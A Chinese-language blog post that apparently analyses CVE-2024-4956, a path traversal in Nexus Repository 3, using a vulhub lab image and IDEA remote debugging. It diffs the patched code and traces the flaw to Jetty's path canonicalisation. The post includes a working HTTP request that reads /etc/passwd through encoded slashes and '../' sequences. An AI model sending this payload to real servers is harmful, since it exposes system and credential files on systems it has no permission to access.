通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

原创 进击的hack 进击的HACK 2024-06-03 20:45

前言

本篇文章主要记录用IDEA远程调试docker当中的nexus。对nexus漏洞的分析写得不是那么好,如果想要看具体漏洞讲解的,我提供以下两篇,写得都比我好(泪目)。https://www.cnblogs.com/Rainy-Day/p/18214409

https://exp10it.io/2024/05/通过-java-fuzzing-挖掘-nexus-repository-3-目录穿越漏洞-cve-2024-4956/

也是因为这个具体产生的原因在jetty容器当中,我跟Nexus的源码找不到。

调试前准备

Nexus镜像下载:https://github.com/vulhub/vulhub/tree/096cd5e7063d739aa48e4c620d4950803193de88/nexus/CVE-2024-4956

下载代码:https://codeload.github.com/sonatype/nexus-public/zip/refs/tags/release-3.68.0-04

解压后通过 idea 打开,等待pom.xml中的依赖被安装如果下载依赖慢,建议使用国内的镜像。

接着开启远程调试

OK,之后就可以下断点调试了

注意:如果调试一会后,遇到了即使下断点,重新debug也无法调试的情况,重启镜像。

sudo docker ps
sudo docker restart 341

代码分析

比对修复后与修复前的代码,查看修改了哪些位置,方便定位漏洞位置访问 https://github.com/sonatype/nexus-public/releases‘代码比较

其中有一堆xml和html,显然不是我们要找的,

ctrl + f 搜索 .java

也可以通过idea 进行代码比对
idea新建一个项目
下载两个源码包,解压后放在项目中

选择其中一个,按住 ctrl + d ,然后点击另一个文件

过滤 java文件

可以看到,这块代码被删除,分析后看出这是通过path读取资源的功能,

这就是漏洞所在

漏洞出现的原因

URIUtil.canonicalPath 是 jetty容器当中的函数,用来处理路径。URIUtil.canonicalPath 在处理路径时,会将空的字符串也认为是一个目录

虽然该函数将//认为是空的目录,但其他函数或者Linux或者file://伪协议并不这么认为,这就导致了存在绕过的可能。

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.23.143:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: */*
Referer: http://192.168.23.143:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.3295531852435827; NXSESSIONID=fd8be857-5b8e-49ab-b677-45313c83c73d; apt.uid=AP-YFGMCGUNNIFB-2-1717380864372-66381115.0.2.a2e3917a-4f22-4c24-8671-436b74b600a2; apt.sid=AP-YFGMCGUNNIFB-2-1717404448571-73575477
Connection: close

漏洞分析

传入的参数

https://github.com/jetty/jetty.project/blob/jetty-12.0.x/jetty-core/jetty-util/src/main/java/org/eclipse/jetty/util/URIUtil.java#L714

参考链接

https://www.cnblogs.com/Rainy-Day/p/18214409